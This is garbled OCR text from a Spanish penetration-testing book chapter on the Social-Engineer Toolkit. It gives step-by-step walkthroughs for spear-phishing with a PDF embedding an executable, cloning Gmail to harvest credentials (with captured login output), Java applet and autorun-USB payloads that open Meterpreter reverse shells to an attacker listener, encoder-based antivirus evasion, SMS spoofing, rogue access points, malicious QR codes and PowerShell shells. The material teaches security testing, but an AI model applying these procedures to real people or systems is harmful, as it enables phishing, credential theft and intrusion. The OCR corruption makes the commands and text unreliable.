tmomwmemwTCPCmﬂm&k@@pmMr%pahamwsemdmme”mﬂfW“wemcmmdmad
pavioad, por ejemplo el 4444 "
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1. Windows Reverse TCP Shell
Ker.

2. wWindows Meterpreter Reverse TCP Spawn a8 meterpreter shell on victim and send back to &
ttacker.

3. Windows Reverse VNC DLL
4. Windows Reverse TCP Shell {xb4) viindows X64 Command Shell, Reverse TCP Ialine

5. Windows Meterpreter Reverse TCP (X64) Connect back to the attacker (Windows x64}, Meterprete

Spawn a command shell on victim and send back te attac

Spawn a YNC server on victim and send back to attacker

-
6. Windows Shell Bind TCP (X64)

system. .
7. Mindows Meterpreter Reverse HTTPS Tunnel communication over HITP using SSL and use Heter
preter

Execute payload and create an accepting port ‘on remote

Enter the payload you want {press enter for default): 2

Fig 6.06: Eleccion de payload para PDF Embed:ded EXE Social Lngineering

A continuacion se pedird si se quiere utilizar Sendmail y de este modo poder spogfear la direccién de
correo electronico con la que se quiere enviar el mail. También se indicard que el archivo malicioso
se puede renombrar o dejar con el nombre por defecto. Antes de finalizar se indican también distintos
aspectos importantes como son el nitmero de destinatarios, es decir, si se enviard a uno o serf un
alaque masivo, qué plantilia se utilizara, si serd una predefinida o se creard en el acto, etcétera

Las plantillas de mail predefinidas se pueden personalizar mediante la opcidn “Create a Social-
Engineering Template”. Es interesante visualizar y entender como funcionun estas plantillas para
realizar un ataque, por ejemplo en el idioma del atacante o del objeivo.

Por dliimo, se debe elegir si se enviard mediante una cuenta existente de Gmail o se utilizard un
servidor propio para realizar el envio. En esta prueba de concepto se utiiizard una cuenta de Gmail,
creada previamente por el atacante, pero para dotar de mayor realismo al ataque deberia utilizarse
un servidor propio con la direccidn de correo spoofeada.

[*7 Processing src/program_junk/meta_contlg for ERB directives.
resource {src/program_junk/meta_config}> use exploit/multi/handler
resource {src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reversc tcp
PAYLOAD => windows/meterpreter/reverse_tcp

resource {src/program_junk/meta_config)> set LHOST 192.168.0.56
LHOST => 192.168.06.56

resource (src/program_junk/meta_config)> set LPORT 4444

LPORT => 4444

resource (src/program_junk/meta_config)> set ENCODING shikata_ga_nai
ENCODING =» shikata ga_nai

resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false

resource (src/program_junk/meta_config}> exploit -j

[#] Exploit running as background job.

msf exploit(handlar) >

{*] started reverse handler on 192.168.8.56:4444

{*] Starting the payload handler...

Fig 6.07: multithandler montado por SET

Tras el envio del correo electidnico se pregunta al usuario si se desea configurar autométicamente

un handler para recibir las posibles conexiones que provoque la ejecucion del archivo PDF. Si
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algln usuario curioso ejecuta dicho archivo, y su versién, en este caso de Adobe Reader; no estd
actualizada, caerd en el engafio y proporcionara un punto débil en la empresa botijosMostoles.com.

4. Vector de ataque: web

Esie vector de ataque es uno de los més utilizados en SET por los usvarios.. Permite montar plantillas
de sitios web o, incluso, clonaciones en vivo de paginas web. Bl objetivo de este vector de ataque
es que el usuario que visita estd pagina web piense que estd accediendo al sitio real y no a una
falsificacion. Uno de los ataques mds famosos que proporciona SET en este vector de alaque es el
del applet de JAVA.

Hste veclor de ataque presenta los siguientes ataques:
- JAVA Applet Attack Method. Se presenta al usuario que accede al silio web un appler
malicioso,
- Metasploit Browser Exploit Method. Tras recibir la peticion ejecuta el exploif conligurado
previamente por el atacante. Se utiliza un iframe el cual lanza el exploit sobre la maquina del
usuario que realiza la peticién sobre el servidor web malicioso.

- Credential Harvester Attack Method. Se presenta al usuario un sitio web, clonado del
- original. Cuando el usuario introduce sus credenciales, éstas son capturadas por el servidor
web malicioso.

- Tabnabbing Attack Method. Este ataque funciona de mancra similar a Credential
Harvester Atiack Method. La tnica diferencia es que cuando la victima accede al sitio web
conligurado con este método obtiene, en primer lugar, el mensaje “Please wait while the page
loads”. Cuando el usuario cambia de pestafia, automaticamente SET lo detecta y muesira el
sitio web malicioso. De este modo la victima cree que se le solicita las credenciales y cuando
las introduce SET hace la recoleccién de esta informacion, provocando el engafio sobre fa
victima.

- Man Left in the Middle Atiack Method. Permite recolectar informacion mediante Ia
nterceptacion de campos. Se necesita de una pégina web vulneradd, en la cual se inyecta un
campo como <scripf src=hltp.'//direccionServerl>.

- Web Jacking Attack Method. Este método presenta una pagina web con un enlace
que indica que el sitio web ha side movido, tras pinchar en el enlace se presenta el sitio
web malicioso clonado del real. Cuando la victima introduce las credenciales, éstas son
almacenadas por SET y la victima se redirige a la pagina real.

- Multi-Attack Web Method. Este método configura un sitio web malicioso, el cual dispone
de varios vectores de ataque cuando la victima solicite Ia pagina web.

A continuacién se presentan las pruebas de concepto més utilizadas y que mayor éxito proporcionan
a los usuarios realizando ingenierfa social. Algunas, simplemeite monian el escenario lo mas real
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posible para recolectar credenciales de la victima, mientras que otras permilen realizar, incluso, i
explotacion del sistema de [a victima obteniendo el control de la miquina.

PoC: Recolectando credenciales :
Esta técnica también es denominada harvesting de credenciales y permite al atacante montar un

sitio web lo mds parecido al real con el objetivo de recolectar las credenciales de la victima. Antes

de comenzar la explicacion de la prueba de concepto, hay que recalcar que existe una variable en ¢!
fichero de configuracion de SET que permite enviar enlaces por correo electronico a Ja victima, los
cuales hacen que ésta acabe en el sitio web malicioso. Esta variable es WEBATTACK_MAIL, y por
defecto esté configurada en on.

Abora se procede a realizar la prueba de concepto, el escenario es ¢l siguiente:

El atacante prepara en una méquina con BackTrack 5 un servidor web el cual facilitard usi
sitio web donde las victimas deberan insertar sus credenciales.

- Lavictima accederd con su navegador a la pagina web que sirve fa maquina def atacante.
¢C6mo hacer para que la victima visite dicha maquina? Realmente dependerd de donde se encuentre
¢l servidor montado. Si el atacante ha montadc el servidor en una méquina en su red privada, puede
que su objetive real sea algin usvario de su propia red, por lo que es recomgndable utilizar DNS
Spoofing para conseguir que la victima termine accediendo al sitio web del atacante y no al real. Por
otro lado, si el atacante ha montado el servidor en una méquina de Internet, con su dominio real, es
recomendable ulilizar enlaces en otros sitios web, correos electranicos masivos con enlaces al sitic
web malicioso, o incluso utilizar redirecciones desde otros posibles sitios web hackeados.

A continuacion se procede a realizar la configuracién del servidor para disponer de un sitio web
lo més real al original. En primer lugar, tras ejecutar SET, se debe elegir fa opcidn dos del mend
principal denominada “Website Attack Vectors”.

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener
Mass Mailer Attack

Teensy USB HID Attack Vector

SMS Spoofing Attack Vector
Wireless Access Point Attack Vector
. Third Party Modules

18. Update the Metasploit Framework
11. Update the Social-Engineer Toolkit
12. Help, Credits, and About

13. Exit the Social-Engineer Toolkit

WD R B WA s

Enter your choice: 2

Fig 6.08: Eleccion del vector de ataque web
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Tras elegir fa opeion, SET proporciona informacién sobre los distintos ataques o técnicas que -
pueden utilizar en este vector de ataque. Se selecciona la opcidn “Credential Harvester Atta?
Method” para rcalizar mas tarde la configuracion del sitio web. Después de la seleccion de e

téenica se debe indicar si se utilizard una plantilla de tas que dispone SET, si se realizard ulﬁ

clonacion en vivo de un sitio web o si se utilizard un sitio importade por el atacante. |
1. The lava Applet Attack Method
2. The Metasploit Browser Exploit Method
3. Credential Harvester Attack Method
4. Tabnabbing Attack Method
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method
7. Multi-Attack Web Method
8. Return to the previous menu
Enter your thoice {press enter for default): 3

Fig 6.09: Eleccion de Credential Harvester Attack Method

[1} Website Attack Vectors [!]
. veb Templates

. Site Cloner

. Custom Import

. Return to main ment

LT -]

Enter number {1-4}: 2

email harvester will allow you to utilize the clone capabilities withinm SET
to harvesl credentials or parameters from a website as well as place them into a report.

SET supports both HTTP and HTTPS
Example: http://www. thisisafakesite, com
Enter the url to clone: https://gmail.com

The best way to use this attack is iF userpame and password form
fields are avaitable. Regardless, this captures all POSTs on a website.
{*] 1 have read the above message. [¥]

Press {return} to continue.

{*] Social-Engineer Toolkit Credential Harvester Attack

[*] Credential tiarvesier iz running on port 80

{*1 Information will be displayed to you as it arrives below:

Fig 6.10: Configuracién de la clonacion de un silio

Una vez que se tiene el sitio web falso preparade en la méquina se debe responder a la pregunty,

- C6mo hacer para que las victimas visiten el sitio web? Como se mencionaba anteriormente, ge

pueden utilizar distintos métodos como DNS Spoofing, envio masivo de correos electranicos, enlaceg
publicados en otros sitios web de [nternet, etcétera,
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[*] WE GOT A HIT! Printing the output:

PARAN Linpt=defayly

ARAN: Timploarhe=T

il iaueshitps sevarlogongl e camimarl /o
CogRTYies

Ly

et

Pt et gy

Phmpley

! i i
SARAM OAL arT Lo

POSSIBLE USERNAME FIELD FOUND: Email=pablo@i6a
POSSIBLE PASSWORD FIELD FOUND: Passwi=123abc.
ARAF e o
STATAS

e

Fig 6.11: Obtencion de credenciales del sitio web falso

En la propia interaccion con SET se pueden ir visualizando las conexiones que las victimas estan
realizando al servidor. Ademas, SET puede detectar campos de credenciales por lo que puede ser
realmente facil obtener las credenciales.

Otra opcidn es capturar todo el tréfico que circula por la web mediante el uso de un analizador de
trafico en la maquina del atacante. En esie caso, se encontraran todas las credenciales, detecte SET
los campos donde van las credenciales o no.

Como se puede observar en la imagen la clonacion de Gmail se puede visualizar préclicamente
idéntica a la original. Es interesante ir probando distintos sitios web, ya que no todos se clonan con
la misma calidad.

X Sivgnbinf :

Username

| pablogaib4

Passworil”

(2222222

73 Siay.signed in B g
Cani atcess your a;bpuht?

i
i

Fig 6.12: Resultado de la clonacion del sitio web de Gmail

En SET se obtienen unos informes sobre el ataque realizado, con la informacion obtenida a través de
éste. Estos informes o reportes son localizados en la ruta /Jpentest/exploits/set/reports y presentados
en formato HTML y XML. En la pégina siguiente se muestra un listado con los parametros HTTP
que han sido capturados y que se incluirn en el informe. '
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Fig 6.13: Ejemplo de informe ei SET

PoC: JAVA applet

Bs interesanic entender que la ingenierfa social se basa en la confianza de la genle, en el
desconocimiento general de las nuevas tecnologias y en el uso jnapropiado de los dispositivos de
hoy en dia. Por esta razén, cualquier usuario podria ejecutar dicha prueba de concepto o ser victima
de ella. Es imporfanie concienciar a los usuarios menos avanzados o-con menor interaccion con
las nuevas tecnologias para evitar estas posibles técnicas, por lo que si, generalmente, un sitic web
como Gmail, Google, Microsoft, etcétera, nunca pidieron que se ejecutara un applel de JAVA, {Por
qué lo pedirfan ahora? £l uso del sentido comiin es la herramienta para combatir la ingenieria social,
para conseguir que estas pruebas de concepto, e incluso explotaciones, no lleguen a buen puerto.

En esta prueba de concepto se presenta el escenario en el que el atacanle configura un servidor web,
el cual servird un sitio web conocido por los usuarios'de Internet. Cuando cualquier usuario soficile -
el sitio web alojado en este servidor web, se mostrar4 la pagina web a la vez que un applet de JAVA.
St el usuario acepta el applef realmente estara ejecutando un payload en su maquina, siendo victima
de un ataque de ingenieria social a través de tecnologias conocidas.”

El atacante puede confgurar el applet a su gusto, por ejemplo pudiendo elegir el nombre de €ste, o
indicar que el editor del applet sean empresas como Microsoft, Google, Apple, etcéiera. Este alaque
del applet se puede incorporar a la técnica de envio masivo de cotreos electronicos si s con figura la
variable WEBATTACK_EMAIL a on en el fichero de configuracion de SET.

Un ejemplo real serfa utilizar un dominio parecido al de una empresa real o un sitio reconocido por
los usuarios de Internet. Se podrian enviar correos electrénicos de manera masiva enlazando en el
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contenido del correo al sitio web que suplanta al original tanto en contenido como en el dominio.
Ademds, la publicacion de links en foros o sitios pblicos apuntando a esta imitacién también pudria
ayudar, y mucho, para couseguir que los usuarios accedan al sitio web malicioso.

La configuracion del applet de JAVA en SET es realmente sencilla como se podra estudiar a
continuacion. En el ment principal de SET se debe elegir Ja opcidn “Website Atiack Vectors”, tal
y como se realizé anteriormente en el ataque de recoleccidn de credenciales. Fn ef siguiente mend
se presontan fos distintos ataques de este vector, y se debe elegir el primero que es el del applei de
FAVA. :

1. The Java Applet Attack Methed
2. The Metasploit Browser Exploit Method
3. Credentisl Harvester Attack Method
4, Tabnrabbing Attack Methed
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method
7. Multi-Attack web Method
8. Return to the previous menu

tnter your choice (press enter for default): 1

Fig 6.14: Eleccitn del ataque applet de JAVA

Tras Ia cicccién del método de ataque se debe seleccionar si se realizara una clonacién de un sitio

web en el acto o si se utilizard una plantilla predefinida en SET. Para este ejemplo se clonar la
siguiente URL hlfp fwww. informatica64.com.

Después de indicar la web, y si es Ia primera vez que se configura este ataque se pedird informacion
para crear un ceitificado con el que JAVA firmard ol applet, y de este modo inientar que cuando se
provoque el aviso de la ejecucion det Applet sea lo més creible posible

1] Website Attack Vecters [i] :

viet: Templates

. Site Cloner

. Custom Impori

. Return to main menu

ST R

Enter number (1-4): 2

SET supports both HYTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: http://informatica64.com

Fig 6.15: Clonacién de! sitio web de Informélica 64

Una vez realizada la clonacién de la pagina web, se pedird al usvario de SET que indique qué
pavioad quiere utilizar con el applet, en esta prueba en concreto se utilizard un Meterpreter.

Después de la eleccion del payload se pide al usuario que indique vn encoder para intentar evitar la
deteccion de un posible software antimalware. En esta prueba de concepto se utiliza shikata _ga_nai,
¢l cual realiza cuatro iteraciones sobre el payload para ofnscar su contenido.
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Select one of the below, *backdoored executable' is typically the best.

avoid_utf8 tolower (Normai)
shikata_ga pai (Very Good)
. alpha_mixed (Normal)
alpha_upper (Normal)
call4_dword_xor (Normal)

. countdown {Normal)
fnstenv_mov {Normal)

. jmp_call_additive {Normal)
nonalpha {Normal}

18. nonupper (Normal)

11. unicode_mixed {Normal)

12. unicede_upper (Normal)

13. alphaz (Normal)

14. lo Encoding {None)

15. Multi-Encoder {(Excellent)
16. Backdoored Executable (BEST)

i

DO NS A B WA

Fig 6.16: Eleccién de encoder para et payload que lanzara el applef en su gjecucién

En este instante, ya se tiene configurado el servidor web con la pagina que lanzara el appler af
soliciter el recurso. Cuando una victima en potencia solicite el recurso visualizard una clonacién de
fa pagina web de Informtica 64 y a la vez visualizard un pop-up de un appler de JAVA que quiere
gjecutarse ‘

{
St la victima elige ejecutar el appler, el atacante recibira una sesion de Meferpreter. SET se encarge
de configurar el médulo exploit/multi/handler para recibir las sesiones de Meterprefer.

JikomAiticasd

! pispostivas iArities

el
pllénc)cnns Avanzadag en ik,

J llc aclulire de 2012*

Publicaciones

Contacta ¥

Fig 6.17: Vlsmhz'\clon del sitio web malicioso con el applet visible
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resource (src/program_junk/meta_config)> exploit -]

{*} Exploit running as background job.

sf exploit{handler) »

{*] Started reverse handler on 9.8.0.6:443

[*] Starting the payload handler...

=] Sending stage (752128 bytes) to 192.168.1.35

{+*] Meterpreter session 1 opened (192.168.1.48:443 -> 192.168.1.35:1393) at 2012-68-15 17:13:47
+0200

Fig 6.18: Sesion de Meterpreter oblenida u través del applet de JAVA

5. Medios infectados

[iste vector de ataque es uno de los mis simples y mas efectivos, siempre y cuando se tenga contacto
fisico con la victima. La idea es generar un papload con un fichéro de autorun, los cuales se deben
instalar en un dispositivo externo como un pendrive o CD/DVD. Cuando la victima inserle esie
medio en su equipo se auto ejecutaré el payload comprometiendo la seguridad del equipo

Este vector de ataque dispone de dos opciones en el momento de crear el gjecutable:

- File-Format Exploils. Se genera un archivo con un formato en concreto, por cjemplo
PDF, RAR, RTF, con el objetivo de hacer creer a la victima que es un archivo inofensivo.

- Standard Metasploit Executable. Equivalente a los ejecutables que se crean con
msfpayload, comentada anteriormente en este libro. Si la variable UPX_ENCODE se
encuentra configurada a on y la variable UPX_PATH indica la ruta donde se encuentra el
gjecutable de UPX, se empaquetard con esle packen

1. Windows Reverse TCP Shell Spawn a command shell on victim and send back to aitac
l2“.3r\;lindaws Meterpreter Reverse TCP Spawn a meterpreter shell on victim and send back to aj
J;Ta'flli(flg;)ws Reverse VNC DLL Spawn a VNC server on victim and send back to attacker
4. windows Reverse TCP Shell (x64) vindows X64 Command Shell, Reverse TCP Inline

5. Windows Meterpreter Reverse TCP {X64) Connect back to the attacker (Windows x64), Meterprete
g Windows Shell Bind TCP (X64) Execute payload and create an accepting port on remote
7?)’;’!’;3&5 Weterpreter Reverse HITPS Tunnel communication over HTTP using SSL and use Meter
preter

Enter the payload you want (press enter for default): 2

Enter the port to connect back on {press enter for default):

[*] pefaulting to port 443... . '
[*] Generating fileformat exploit...

{*] payload creation complete.

{*1 All payloads get sent to the src/program_junk/template.pdf directory .

[*1 Your attack has been created in the SET home directory folder “autorun®

{*] Copy the contents of the folder to a (D/DVD/USB to autorun.

Do you want to create a listener right now yes or no: T
Fig 6.19: Generacion de File-Format Exploit :
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En la imagen anterior se puede visualizar un ejemplo de como se genera un archivo con un formato
concteto. Como se menciond anteriormente, también se crea un archive autorun con el que se
provocard la ejecucion automatica al introducir el medio externo, por ejemplo el pendrive.

[ fichero qutorun que se crea automaticamente se localiza en la ruta /pentest/exploits/set/adarun.
En la imagen se puede visualizar ef contenido y la localizacion de este archivo.

roof@hi: /pentesi/exploits/seit/autorun# cat autorun.inf
[autorun}

open=template. pdf

icon=auterun. icoreot@ht: /pentest/exploits/set/autovun# cd ..
root@hi:/pentest/exploiis/seté §

Fig 6.20: Contenido del fichero auforun

Cuando se genera un ejecutable standard de Metasploit se obtiene un archivo EXE denominado
program.exe'y el archivo autorun.inf, el cual provocara la ejecucion automética del archivo EXE. La
ruta donde se aloja es la misma que la que se comentd anteriormente: /penfest/exploits/set/autorun.

6. Payloads como ejecutables

Esta opcion es, realmente, similar a la anterior salvo que simplemente genera el ejecutabie
malicioso. El usuario o alacante debera buscar la via para hacer que la victima ejecute el archivo
¢jecutable creado. Esta opcion es equivalente a la herramienta nmjpayload con la que se pueden
ciear gjecutables, tanto para sistemas Windows como Linux.

Ademas, los payload disponibles son tanto para arquitecturas de 32 como de 64 bits. Este hecho
hace que se abarque gran cantidad de méaquinas modernas y antiguas. También es interesante la
opeion de la conexion, tanto inversa como directa, con las bind shell o reverse shell.

Lin cste libro se han realizado diversos ejemplos con la herramienta msfpayload, e incluso se han
construido ejecutables mediante SET con la opcitn del apartado anterior “Medios infectados”. Para
crear un ejeculable malicioso con SET mediante esta opcion simplemente se debe elegir el payload
que se quiere inyectar al fichero ejecutable o binario ¢ ir indicando las posibles opciones, como es la
direccion IP a la que se conectard tras la ejecucion del papload.

7. Dispositivos USB HID

Los dispositivos HID, Human Interface Device, son utilizados para utilizar entradas al sistema que
estdn reservadas para los usuarios, y ademés pueden devolver una salida también para estos. [sle

tipo de dispositivos se utiliza sobre la tecnologia USB, ejemplos de ellos son teclados, ratones,
etcétera.
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El vector de ataque utilizado aqui es una combinacién de hardware personalizado v derivacion de
restriccion a través de emulacion de teclado. Es muy comtin, que los dispositivos externos, como son
los DVD o los USB, no dispongan de privilegios para realizar la ejecucion automatica. Es decir, nc
se ejecuta el archivo auforun.inf, por lo que no se puede ejecutar el codigo de forma automatizada.

El objetivo de este vector de ataque es que utilizando un dispositivo HID USB, se pueda emular
un teclado o un ratén. Cuando se inserte el dispositivo, éste se detectara por el sistema como un
dispositivo de interfaz humana. Utilizando el microprocesador y la memoria flash incorporada en el
dispositivo se pueden enviar pulsaciones rapidas de teclas a la maquina victima y comprometerla.
Hay que disponer de un dispositivo de este tipo para poder juntarlo con SET'y lograr los objetivos.

Se debe seleccionar fa opcién nimero seis en el ment de SET, obteniendo asi una lista de pavinads
para generar los archivos PDE que seran cargados o importados a fos dispositivos HID USE. Este
vector utiliza scripts en PowerShell, WScripts y ofros lipos de técnicas interesantes, como es la
descarga del payload a través de métodos wget.

Select @ payload to create the pde file to import into Arduino:

. Povershell HTTP GET MSF Payload

. WSCRIPT HTTP GET MSF Payload

. Powershell based Reverse Shell Payload

. Internet Explorer/FireFox Beef Jack Payload

. Go to malicious java site and accept applet Payload
. Gnome wget Download Payload

. Return to the mair menu.

O U s LT M e

Enter your choice:

Fig 6.21: Listado de payloads para la generacion de archivos PDE

8. Ataques por correo electrénico

Hste vector de ataque pertenece a la tecniologia del correo electranico con el que se pueden realiza
envios, ya sean dirigidos o masivos. Este vector proporciona distintos métodos para Hevar a cabo
dicha accién, utilizandose principalmente para su utilizacién en el campo de la ingenierfa social

En la primera opcién que se cfrece se debe indicar, sencillamente, la direccién de correo electrénico
de la victima. Se podra utilizar una cuenta de Gmail para realizar la accion maliciosa o la herramienta
sendmail. Es posible emplear codigo HTML o directamente enviarse como lexto plano.

Lin la segunda opcién se debe indicar el fichero que contiene las direccicnes de correo electrénico
a las que se quiere realizar el envio masivo. También se puede utilizar una cuenta de Gmail o la
aplicacion sendmail.

Bt envio masivo permile realizar acciones de SPAM, las cuales son potencialmente peligrosas, e
incluso en algunos paises ilegales. Este vector de ataque debe ser ejecutado de manera controlada
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por el usvario o auditor, ya que con el envio masivo se puede perder el control de las acciones de=
manera sencilla.

9, Falsificacion de SMS

cste veclor de ataque es realmente especial, ya que permite spoofear el emisor de un mensaje SMS.‘
Cuando la victima reciba el SMS aparece como emisor otro niimero distinto al original, con esto es
posible realizar ataques via' SMS. q
Se pueden utilizar distintas opciones en el ment de dicho vector ademas de crear o personalizar las,
plantitlas para los mensajes. Este vector da la oportunidad de realizar ingenierfa social a través del
servicio movil de los mensajes cortos. Seria posible por ejemple mandar un Jink haciéadose pasar‘
por un banco solicitando las credenciales del usuario, {

Una vez que se selecciona la opcion anterior se visualiza que existe un atague dirigido a un solof
nimero de teléfono o la posibilidad de realizar un ataque masivo.

This module was created by the team at TB-Security.com.

You can use a predefined ’{emplafe, create your own template or specify

an arbitrary message. The main method for this would be to get a user to
click or coax them on a Link in their browser and steal credentials or perform
other attack vectars.

1. Perform a SMS Spoofing Attac$
2. Create a Social-Engineering Template
3. Return to Main Menu '

Enter your cheice: 1

SM5 Attack Menu

There are diferent attacks you can launch in the context of SMS spoofing,
select your own.

What do you want to do:
1. SMs Attack Single Phone Number

2. SMS Attack Mass SMS
3. Return to SMS Spoofing Menu

Fig 6.22: Meni de sms spoofing

Los servicios para el envio de SMS suelen ser paginas web de pago. Pero es interesante disponer de
una cuenta de usuario y poder probar este tipo de ataque, ya que los usuarios, hoy en dia, no piensan
que estas técnicas sean utilizadas en la realidad.



m Metasploit para Pentesters

10. Vector de ataque: Wireless

Este vector es uno de los mas interesantes ya que presenta la posibilidad de crear un punto de acceso
falso, que simule una red. Este punto de acceso proporciona DHCP y DNS, servicios manipulados
por el atacante para repartir las direcciones IP e indicar cual es la direccién IP del servidor DNS, y
la direccion 1P del router.

Es totalmente factible pensar que se puede otorgar a la victima la direccion 1P de la maquina del
atacante como puerta de enlace, esto hard que todo el trifico de la viclima circule a traves de aquetla.

Otra de las posibilidades es utilizar, y asi lo hace SET, la técnica DNS Spoofing para conseguir que
cuando la victima solicite un recurso de un dominio, se le redirija a un servidor web que tenga el
atacante con un sitio web similar al original.

Hay que tener en cuenta la ruta donde se encuentran las aplicaciones dnsspoaf'y airbase-ng, ya que
SET las utilizard. En la imagen se puede visualizar como mediante el uso del comando whereis se
puede localizar la rula de la aplicacién buscada.

root@bt:/pentest/exploits/set# whereis airbase-ng
airbase-ng: fusr/local/sbin/airbase-ng

root@ht: /pentest/exploits/set# whereis dnsspoof
dnsspoof: fusr/local/sbin/dnsspoof

root@ht: /pentest/exploits/set#

Fig 6.23: Rutas de las aplicaciones dnsspoof'y airbase-ng

Con cualquier editor de texto se debe modificar el fichero sef_config en caso de no encontrarse
bien definidas las variables especificadas anteriormente. Como se puede visualizar en la imagen, se
pueden encontrar las variables al final del archivo de configuracion de SET.

# THIS FEATURE WILL AUTO EMBED A IMG SRC TAG TO A UNC PATH OF YOUR ATTACK MACHINE.

# USEFUL IF YOU WANT TO INTERCEPT THE HALF LM KEYS WITH RAINBOWTABLES. WHAT WILL HAPPEN
# IS AS SOON AS THE VICTIM CLICKS THE WEB-PAGE LINK, A UNC PATH WILL BE INITIATED

# AND THE METASPLOIT CAPTURE/SMB MODULE WILL INTERCEPT THE HASH VALUES.

UNC_EMBED=0FF

#

# THIS FEATURE WILL ATTEMPT TO TURN CREATE A ROGUE ACCESS POINT AND AEDIRECT VICTIMS BACK TO THE
# SET WEB SERVER WHEN ASSOCIATED. AIRBASE-NG and DNSSPOOF.

ACCESS_POINT_SSID=link5yS

AIRBASE_NG_PATH=/usr/local/sbin/airbase~ng

DNSSPDOF_PATH:/usr/Local/sbin/dnsspoof

#

Fig 6.24: Modificacidn de los valores dnsspoof'y airbase

La opcion para seleccionar este vector en el ment de SET es la nimero ocho, denominada “Wireless
Access Point Attack Vector”. Tras la eleccion de esta opcién se pediré al usuario que seleccione entre
arrancar el punto de acceso o detenerfo.
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elcome to the Wireless Attack Vector, this will create an access point leveraging

your wireless card and redirect all DNS queries to you. The concept is fairly simple,
SET will create a wireless access point, dhcp server, and spoof DNS to redirect traffic
to the attacker machine.. It will then exit out of that menu with everything running as
a child process.

You can then launch any SET attack vector you want, for example the Java Applet attack ans
vhen a victim joins your access point and tries going to a website, will be redirected to
your attacker machine. .

This attack vector uses AirBase-NG, Airton-NG, ONSSpoof, and dhepd3 to work properly.

|what do you want to da:

1, Start the SET wireless Attack Vector Access Point

2. Stop the SEV wWireless Attack Vector Access Point

3, Return o the SET main menu.

Enter your choice:

Fig 6.25: Arrancando el punto de aceeso con SET

Tras ejecutar dicha opcion se puede visualizar como se empieza a preparar el entorno para generar ¢l
punto de acceso falso. En la siguiente imagen se pueden visualizar dichas acciones.

1. Start the SET Wireless Attack Vector Access Point
2. Stop the SET Wireless Attack Vector Access Point
3. Return te the SET main menu.

enter your choice: 1
Enter the wireless network interface (ex. wlan@): metasploit_i64
[*] Placing card in monitor mode via airmon-ng..

Found 2 processes that could cause trouble.
1f airodump-ng, aireplay-ng or airtun-ng stops working -after
a short period of time, you may want to kill {some of) them!

PID Name

784 dhclient3

3295  dhclientd

Process with PID 3205 (dhclient3d) is running on interface wland

Interface Chipset Driver
vland Ralink 2573 USB rt73usb - [phy8}
mong Ralink 2573 USB ri73usb - (phy8]

[*] Spawning airbase-ng in a seperate child thread...
[*] Sleeping 15 seconds waiting for airbase-ng to complete...

Fig 6.26: Configuracion del AP falso '
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" 11. Vector de ataque QRCode

Bl vector de ataque para [a generacion de QRCode permite al usuario crear este tipo de imAgenes que
pueden ser leidas ¢ interpretadas por aplicaciones méviles. El objetivo de estos codigos son las de
enlazar, por ejemplo, sitios web. La ingenieria social mediante el uso de ORCode propone utilizarlos
para publicar dichas imagenes en el mayor nfimero de sitios, es decir de forma masiva, y conseguir
que los, cada vez mds, usuarios de smartphones puedan caer en la trampa.

leneralmente, después de un QRCode malicioso se encuentra un sitio web, el cual también podria
ser moniado con SET con la opcidn “Website Attack Vectors”. Por ejemplo, se podria utilizar el
alaque del applet de JAVA unido a que la victima accediera al sitio a través de un ORCode.

Hay que recalcar que este vector de ataque no se encuentra disponible en la mayoria de versiones
de SET, es una de las Wltimas funcionalidades afiadidas al toolkit, junto al vector de ataque de
PowerShell. En este apartado se ha utilizado la distribucién de BackTrack 5 R3, la cual fue liberada
a mediados del afio 2012, '

PoC: Ingenieria social con un QRCode malicioso

En la siguiente prueba de concepto se utilizara fa posibilidad de generar QRCode a través de SET
para enlazar a un usuario con un sitio web malicioso. El escenario montado es en una red {ocal,
donde todo dispositivo se encuentra controlado, habria que imaginar dicho escenario en Internet. E}
alacante dispondria de un servidor web y para hacer que las posibles victimas accediesen a dicho
recurso se utilizarian estos codigos. :

En primer lugar, y tras arrancar SET, se debe seleccionar la opcidn nueve “QRCode Generator
Attack Vecror”,

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://wew. trustedsec,com
Select from the menu:

1} Spear-Phishing Attack Vectors
2} Website Attack Vectors

3) Infectious Media Generator

4} Create a Payload and Listener
5) Mass Maiter Attack

6} Arduino-Based Attack Vector

7} SMS Spoofing Attack Vector

8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
16) Powershell Attack Vectors

11) Third Party Modules

99} Return back to the main menu.

set> 9

Fig 6.27: Eleccion de fa opcién “QRCode Generator Atlack Vector”
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Directamente se presenta la opicién de introducir para qué direccion URL se generard un QRCode,
En esta prueba de concepto se utiliza una direccion 1P, pero er un escenario real, es posible que ¢
atacante haya adquirido un dominio falso, parecido al sitio web real para confundir a las postbles y{
potenciales victimas. ‘

\

The QRCode Attack Vector will create a (RCode for you with whatever URL you want.

When you have the QRCode Generated, seléct an additional attack vector within SET and
deploy the QRCode to yeur victim. For example, generate a QRCode of the SET Java Applet
and send the QRCode via a mailer,

Enter the URL you want the ORCode to go to: http://182.168.1.38
i*4 [*¥] QRCode has been generated under reports/qreode_attack.png!
ORCode generated. -

Press <return> to continue

Fig 6.28: Generacién de wn QRCode malicioso

La imagen es almacenada en la ruta /pentest/exploits/set/reports/ en formato PNG. Esta imagen sera
colocada en otros sitios web o mandada via mail para conseguir que las victimas tras Ja lectura del
QR Code se conecten al servidor web malicioso. Hay que recordar que existen lectores QRCode que’
no informan del recurso al que se conectan, es decir automaticamente intentan acceder al recurso al
que apunta el ORCode. Ein la imagen se puede visualizar ef ORCode generado gracias al uso de SET.

Fig 6.29: QRCode generado con SET

12. Vector de ataque PowerShell

Este vector de ataque que proporciona: SET permite al usuario crear pequefios scripfs que seran
ejecutados en una maquina victima con el objetivo de obtener una sesion inversa o directa, Ademds,
existe la posibilidad de realizar un volcado de SAM a través de estos SCripts, pero requiere ser
SYSTEM en el sistema.

En la imagen se pueden visualizar las vias para generar este tipo de scripts.
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The Powershell Attack Vecter module allows you to create PowerShell specific attacks. These atta
cks will allow

you to use Powershell which is available by default in all operating systems Windows Vista and a
bove. PowerShell

provides a fruitful landscape for deploying payloads and performing functions that do not get
triggered by '

preventative technologies.

1) Powershell Alphanumeric Shellcede Injector
2} Powershell Reverse Shell

3} Powershell Bind Shell

4) Powershell Dump SAM Database

99} Return to Main Menu

